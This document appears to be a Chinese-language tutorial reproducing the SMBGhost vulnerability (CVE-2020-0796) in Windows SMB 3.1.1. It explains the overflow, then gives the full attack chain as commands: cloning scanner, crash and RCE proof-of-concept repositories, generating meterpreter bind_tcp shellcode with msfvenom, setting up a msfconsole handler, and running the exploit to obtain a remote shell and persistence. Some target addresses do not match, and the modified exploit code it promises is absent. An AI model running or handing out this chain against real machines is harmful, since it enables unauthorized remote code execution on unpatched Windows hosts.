一:漏洞简介
漏洞原理:
SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
影响范围:
● Windows 10 Version 1903 for 32-bit Systems
● Windows 10 Version 1903 for x64-based Systems
● Windows 10 Version 1903 for ARM64-based Systems
● Windows Server, Version 1903 (Server Core installation)
● Windows 10 Version 1909 for 32-bit Systems
● Windows 10 Version 1909 for x64-based Systems
● Windows 10 Version 1909 for ARM64-based Systems
● Windows Server, Version 1909 (Server Core installation)
二:漏洞复现
环境下载:
Windows 10 教育版Build 10.0.18362
POC扫描工具
POC利用工具
EXP漏洞利用
复现环境:
攻击机:Kali—>192.168.1.125
靶机:Win10—>192.168.1.133
步骤一:扫描漏洞
git clone https://github.com/ollypwn/SMBGhost.git
进入工具目录 输入命令进行扫描
python3 scanner.py 172.18.132.88
Vulnerable代表目标存在漏洞,可以进行攻击!
步骤二:漏洞利用-蓝屏
目标:使目标主机蓝屏
原理:该脚本连接到目标主机,并在转换头中设置了错误的偏移量字段的情况下压缩了身份验证请求,从而导致解压缩器缓冲溢出并导致目标崩溃。
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
进入工具目录,输入命令对目标机进行攻击
python3 CVE-2020-0796.py 192.168.1.133
步骤三:漏洞利用-Getshell
1:在KALI系统内下载漏洞利用exp
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
2:使用Msfvenom生成正向连接攻击载荷(木马) 端口为:6666
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python
说明:
#-p payload
#-e 编码方式
#-i 编码次数
#-b 在生成的程序中避免出现的值
#LHOST,LPORT 监听上线的主机IP和端口
#-f exe 生成EXE格式
#‘\x00‘转义字符,对应ascall码中为null,因为是二进制文件所以会出现,在python中作为结束的标志,有点相当于%00截断的感觉。
3:用生成的shellcode将工具目录中exploit.py中的这一部分替换掉(buf后的字符串,保留USER_PAYLOAD不变)小诀窍,先整体粘贴复制,然后将buf += 替换为 user_paload,就不用一行一行粘贴了,节省了很多时间。以下是exploit.py替换后的内容:
4:打开msfconsole监听目标机指定端口[端口:6666]
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666 //目标端口
set rhost 172.18.132.88 //目标机ip
run
5:运行exploit.py脚本,反弹shell
python3 exploit.py -ip 192.168.1.133
6:msfconsole已经连接到了目标机进行权限维持
7:远程链接!